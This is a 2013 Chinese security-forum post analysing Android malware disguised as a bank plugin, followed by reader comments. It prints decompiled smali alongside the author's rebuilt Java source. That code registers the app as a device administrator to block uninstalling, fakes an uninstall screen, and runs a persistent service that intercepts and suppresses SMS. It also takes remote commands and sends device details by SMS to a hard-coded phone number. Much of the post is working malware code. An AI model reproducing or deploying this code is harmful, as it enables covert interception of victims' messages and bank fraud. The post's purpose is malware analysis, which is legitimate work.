首页
论坛
课程
招聘
[原创]伪装某银行插件apk病毒分析(附源码)
2013-11-12 22:26 18966

[原创]伪装某银行插件apk病毒分析(附源码)

2013-11-12 22:26
18966
   

  源码附件是自己逆的,可能在某个逻辑上存在错误,但是大部分功能已经实现,还望海涵
  样本反编译后会出现许多java文件,其中有几个已被混淆命名为a,b,c,d
  在本文中a对应源码中的FilterSMS
  b类对应sendTelMessageByHandler
  c类对应sendhandlerMessage
  d类对应OrderManagement
  apk启动的第一个activity为MainActivity

  并非跟apk代码一模一样 但是逻辑功能尽可能贴近作者  代码写的很烂 各位见谅

                   测试平台:android2.3.3
  请在虚拟机中运行,切勿在真机中运行
  当在虚拟机中安装运行,“激活”之后 正确的卸载方法是:在“设备管理器”中将其取消放能卸载
  虽然该apk只有几百k 但是工程代码还是挺多的
  
  样本主要行为描述: 
  (1)在“设备管理器”中注册该apk,使得用户卸载失败,从而达到不让用户卸载的目的
         具体来说 当运行该apk时,只要用户点击激活 将在注册该apk 这就是激活条件
  (2)注册卸载广播,监听卸载。当用户卸载该apk时,该apk将误导用户点击“卸载程序”实际上
         将执行其UninstallerActivity显示 "应用程序尚未安装在您的手机上" 并且执行服务
         如图:
  (3)运行后 将创建服务监听用户短信,过滤发过来的短信进行相应的行为,其号码为: 
         18458144548。这个功能类似远控了。即回复com@false关闭com@true开启/关闭服务
         为了让服务不被结束掉,该apk在通知栏中被运行 如图:
         
  (4)注册监听短信广播,同样用于过滤用户短信,其中一个过滤条件是只拦截2013-10-20 00:00:00  之后的短信。 当拦截到短信后 根据配置项islj 如果为ture或者联系人包含作者也就是18458144548 则终止广播
  (5) 类BootReceiver代码检查服务是否运行
   以上是主要行为 其他细节 后面说到 由于代码较多有些代码还是看源码把       

    apk样本流程:安装apk后,首先注册receiver监听短信其类为SmSReceiver,注册类BootReceiver实现开机启动,注册类uninstallerActivity监听卸载事件。之后启动MainActivity
发送用户手机版本等信息发送到指定手机,注册设备管理器,之后开启短信监听服务,再判断设备管理器中是否激活
该apk 如无则弹出框欺骗用户点击“激活”

    行为(1)代码:
    在MainActivity中的onCreate中主要完成发送设备信息到指定号码,开启服务,注册设备管理器, 反编译代码如下:
    
    //发生设备信息
       const-string v1, "18458144548"  //手机号码

    new-instance v2, Ljava/lang/StringBuilder;

    const-string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c"

    invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    sget v3, Landroid/os/Build$VERSION;->SDK_INT:I  //获取版本

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

    move-result-object v2

    const-string v3, " "

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v2

    sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;  //获取MODEL

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v2

    invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v2
    //发送短信,对应源码中OrderManagement的sendTelMessage的方法
    invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V

 

    

其对应的源码为:
  
   
   OrderManagement send= new OrderManagement();
    if (!"Q049U0hBWUZN".equals(OrderManagement.encodeX509(this))) { 
    send.sendTelMessage("5558", new String("手机已安装软件,回复com@false关闭com@true开启, 版本"
      +Build.VERSION.SDK_INT
      +" "
      +Build.MODEL)               
      , null);
    


   注册设备管理器代码:该设备管理器需要一个xml,而该xml的格式可以查看DevicePolicyManager类的文档  该xml的格式如下:这就是为什么在程序启动的时候为什么会出现激活界面,详见android文档
   
   <?xml version="1.0" encoding="utf-8"?>
<device-admin
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <force-lock />
    </uses-policies>
</device-admin>
   


注册设备管理器代码:
   
    const-string v0, "device_policy"

    invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroid/app/admin/DevicePolicyManager;

    iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

    new-instance v0, Landroid/content/ComponentName;

    const-class v1, Lcn/android/emial/DeviceReceiver;

    invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

    invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z

    move-result v1
   //判断是否已经在设备管理中激活 
    if-nez v1, :cond_0

    new-instance v1, Landroid/content/Intent;

    const-string v2, "android.app.action.ADD_DEVICE_ADMIN"

    invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V

    const-string v2, "android.app.extra.DEVICE_ADMIN"

    invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

    const-string v0, "android.app.extra.ADD_EXPLANATION"

    const-string v2, "\u8bbe\u5907\u7ba1\u7406\u5668"

    invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;

    const/4 v0, 0x0

    invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V

    :cond_0
    invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V


其源代码为:
    //判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活
    if (a.isAdminActive(componentName)==false) {
      Intent intent1=new Intent("android.app.action.ADD_DEVICE_ADMIN");
      intent1.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this,deviceReceiver2.class));
      intent1.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
      startActivity(intent1);


最后 还要在xml中申明该类deviceReceiver2
  <receiver android:label="System 设备管理器" android:name="com.example.emial.deviceReceiver2" android:permission="android.permission.BIND_DEVICE_ADMIN" android:description="@string/action_settings">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/lock_screen" />
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>


行为(2)代码:注册卸载广播
这断代码简单 在xml中申明即可:
  <activity android:name="uninstallerActivity" android:label="卸载程序">
             <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.VIEW" />
                <action android:name="android.intent.action.DELETE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="package" />
            </intent-filter>
        </activity>

当用户点击“卸载程序” 就会执行uninstallerActivity

行为(3)代码:创建服务监听用户短信
该服务主要是类smSserver 是在mainActivity中的oncreate创建的
该类主要让服务总在前台运行,使之不被系统回收,之后动态注册各自监听器,以达到监听用户短信之用
    new-instance v0, Landroid/app/Notification; //创建通知栏

    const v1, 0x7f020001

    const-string v2, ""

    invoke-static {}, Ljava/lang/System;->currentTimeMillis()J

    move-result-wide v3

    invoke-direct {v0, v1, v2, v3, v4}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V

    new-instance v1, Landroid/content/Intent;

    invoke-direct {v1}, Landroid/content/Intent;-><init>()V

    new-instance v2, Landroid/widget/RemoteViews;

    invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getPackageName()Ljava/lang/String;

    move-result-object v3

    const/high16 v4, 0x7f03

    invoke-direct {v2, v3, v4}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V

    iput-object v2, v0, Landroid/app/Notification;->contentView:Landroid/widget/RemoteViews;

    invoke-static {p0, v5, v1, v5}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;

    move-result-object v1

    iput-object v1, v0, Landroid/app/Notification;->contentIntent:Landroid/app/PendingIntent;

    const/16 v1, 0x64
    //将服务至于前台 使之不被结束
    invoke-virtual {p0, v1, v0}, Lcn/android/emial/SmSserver;->startForeground(ILandroid/app/Notification;)V

    new-instance v0, Landroid/content/IntentFilter;

    invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V

    const-string v1, "android.provider.Telephony.SMS_RECEIVED"

    invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

    const-string v1, "android.provider.Telephony.SMS_RECEIVED_2"

    invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

    const-string v1, "android.provider.Telephony.GSM_SMS_RECEIVED"

    invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

    const/16 v1, 0x3e8

    invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V

    new-instance v1, Lcn/android/emial/SmSReceiver;

    invoke-direct {v1}, Lcn/android/emial/SmSReceiver;-><init>()V

    iput-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;

    iget-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;

    const-string v2, "android.permission.BROADCAST_SMS"
    //  动态注册监听广播  使之优先级更高确保监听
    invoke-virtual {p0, v1, v0, v2, v6}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent;

    new-instance v0, Lcn/android/emial/SmSReceiver;

    invoke-direct {v0}, Lcn/android/emial/SmSReceiver;-><init>()V

    iput-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;

    iget-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;

    new-instance v1, Landroid/content/IntentFilter;

    const-string v2, "com.yfm.send"

    invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    
    invoke-virtual {p0, v0, v1}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;

    new-instance v0, Lcn/android/emial/a;

    invoke-direct {v0, p0, v6}, Lcn/android/emial/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V

    iput-object v0, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;

    invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getContentResolver()Landroid/content/ContentResolver;

    move-result-object v0

    sget-object v1, Lcn/android/emial/SmSserver;->a:Landroid/net/Uri;

    const/4 v2, 0x1

    iget-object v3, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;

    invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V

    new-instance v0, Lcn/android/emial/c;

    invoke-direct {v0, p0}, Lcn/android/emial/c;-><init>(Lcn/android/emial/SmSserver;)V

    invoke-virtual {v0}, Lcn/android/emial/c;->start()V



其源码为:
  Notification notification=new Notification(R.drawable.ic_launcher,"",System.currentTimeMillis());//v0
      Intent intent=new Intent();//v1
      //RemoteViews在类的自定义通知的时候可以用到,用来设置自定义通知的布局资源
      RemoteViews contentView=new RemoteViews(getPackageName(), R.layout.activity_main);
      //检索一个PendingIntent,将启动一个新的activity,注意该activity将在一个存在的activity的上下文之外启动
      PendingIntent contentIntent =PendingIntent.getActivity(this,0,intent,0);
      //通过startForeground让服务前台运行,以免长时间不用而被kill
      //如果不加setLatestEventInfo函数 将导致奔溃,但原来的代码中却没有
      notification.setLatestEventInfo(this,"点击查看","点击查看详细内容",contentIntent);
      startForeground(100,notification);
      
      IntentFilter intentFilter=new IntentFilter(); //v0
      intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
      intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED_2");
      intentFilter.addAction("android.provider.Telephony.GSM_SMS_RECEIVED");
      intentFilter.setPriority(0x3e8);
      
      b=new SmSReceiver();
      c=new SmSReceiver();
      IntentFilter intentFilter2=new IntentFilter("com.yfm.send"); 
      //动态注册监听广播
      this.registerReceiver(b,intentFilter,"android.permission.BROADCAST_SMS",null);
      this.registerReceiver(c, intentFilter2);
      
      d=new FilterSMS(this, null);
      ContentResolver contentResolver=getContentResolver();
      //为指定的Uri注册一个ContentObserver派生类实例,当给定的Uri发生改变时,回调该实例对象去处理。
      contentResolver.registerContentObserver(uri, true, d);
      //创建sendhandlerMessage类,启动其线程
      new sendhandlerMessage().start();


行为(4)代码:静态注册监听广播,过滤短信
首先是在xml中申明该监听器:
<receiver android:name="SmSReceiver">
        <intent-filter android:priority="2147483647">
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            <action android:name="android.provider.Telephony.SMS_RECEIVED_2"/>
            <action android:name="android.provider.Telephony.GSM_SMS_RECEIVED"/>
            <category android:name="android.intent.category.DEFAULT"/>
        </intent-filter>
    </receiver>

SmSReceiver类会在拦截短信进行一些判断 如时间是否在2013-10-20 00:00:0之后 然后调用
a(Landroid/os/Bundle;Landroid/content/Context;Lcn/android/emial/SmSReceiver;)V方法
也就是SMShijacking方法 进一步判断是否终止广播
 这段涉及到几个类 为了不使文章过于长  就不列出源码了 具体看工程文件把

行为(5)代码:类BootReceiver 检查服务是否正在运行
该类调用.method public static a(Landroid/content/Context;Ljava/lang/String;)Z方法也就是源码中的GetService来遍历当前服务 看该apk服务是否运行
//GetService如下
.method public static a(Landroid/content/Context;Ljava/lang/String;)Z
    .locals 5

    const/4 v1, 0x0

    const-string v0, "activity"

    invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroid/app/ActivityManager;

    const/16 v2, 0x28

    invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;

    move-result-object v3

    invoke-interface {v3}, Ljava/util/List;->size()I

    move-result v4

    move v2, v1

    :goto_0
    if-lt v2, v4, :cond_0

    move v0, v1

    :goto_1
    return v0

    :cond_0
    invoke-interface {v3, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;

    iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;

    invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;

    move-result-object v0

    invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_1

    const/4 v0, 0x1

    goto :goto_1

    :cond_1
    add-int/lit8 v0, v2, 0x1

    move v2, v0

    goto :goto_0
.end method


源码为:
  public static Boolean GetService(Context context,String ServiceName)
  {
    //得到系统的全局activity状态
    ActivityManager activityManager=(ActivityManager) context.getSystemService("activity");
    //返回当前正在运行的服务列表,此方法仅用于调试或实现了服务管理型的用户接口。参数为返回的最大数目
    List<ActivityManager.RunningServiceInfo> activitylist=  activityManager.getRunningServices(0x28);  //v4
  
    
    for (int i = 0; i < activitylist.size(); i++)
    {
      //如果当前服务的类名与context相等
      if (activitylist.get(i).service.getClassName().equals(ServiceName)) {
        return true;
      }
    
    }
    return false;
  
  }


接着在onReceive方法中 调用GetService方法
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 4

    const-string v0, "cn.android.emial.SmSserver"

    invoke-static {p1, v0}, Lcn/android/emial/BootReceiver;->a(Landroid/content/Context;Ljava/lang/String;)Z

    move-result v0

    const-string v1, "phone"

    new-instance v2, Ljava/lang/StringBuilder;

    const-string v3, "server_"

    invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;

    move-result-object v2

    invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v2

    invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

    if-nez v0, :cond_0

    new-instance v0, Landroid/content/Intent;

    const-class v1, Lcn/android/emial/SmSserver;

    invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    const/high16 v1, 0x1000

    invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;

    invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

    :cond_0
    return-void
.end method



源码为:
  public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Boolean TheServiceIsRunBoolean= GetService( context,"com.example.emial"); //v0
    Log.i("phone",  "server_"+TheServiceIsRunBoolean);
    if (TheServiceIsRunBoolean==false) { //如果当前服务没有运行则再次启动服务
      Intent intentnew=new Intent(context,smSserver.class);
      intentnew.addFlags(0x1000);
      context.startService(intentnew);
    }
    
    
  }


差不多就写到这里  具体内容结合源码 才能体会 如果错误 还望包涵

第五届安全开发者峰会(SDC 2021)10月23日上海召开!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (10)
雪    币: 190
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
程序狂人 活跃值 2013-11-13 09:44
2
0
学习学习 。这类的apk 还有很多的
雪    币: 2
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Roge 活跃值 2013-11-13 14:53
3
0
不错的学习例子啊。
雪    币: 155
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
PEYlxZ 活跃值 2013-11-13 16:03
4
0
能问问这个apk从哪儿来的么
雪    币: 6078
活跃值: 活跃值 (1294)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhczf 活跃值 2013-11-14 11:16
5
0
银行类的应用还是得从官方网站下载,从其它渠道下载的不放心啊
雪    币: 130
活跃值: 活跃值 (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yuletianxi 活跃值 2013-11-15 08:39
6
0
感谢分享! 请问您的这个apk从哪里找到的?能把渠道分享一下么?我们也想要时常找一两个病毒软件逆向练练手,学习学习.谢谢
雪    币: 107
活跃值: 活跃值 (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
chenwitch 活跃值 2013-11-20 15:34
7
0
不错,学习了
雪    币: 6
活跃值: 活跃值 (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xautzbl 活跃值 2013-11-25 09:44
8
0
貌似下载不到附件了。。。
雪    币: 32
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
墨非 活跃值 2013-11-25 10:39
9
0
可以实现监听他人手机各类信息,比如短信。很多人要做坏事了
雪    币: 1609
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shangrila 活跃值 2013-11-27 13:40
10
0
高手,学习了!
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luzai 活跃值 2013-12-2 21:15
11
0
安全很重要啊
游客
登录 | 注册 方可回帖
返回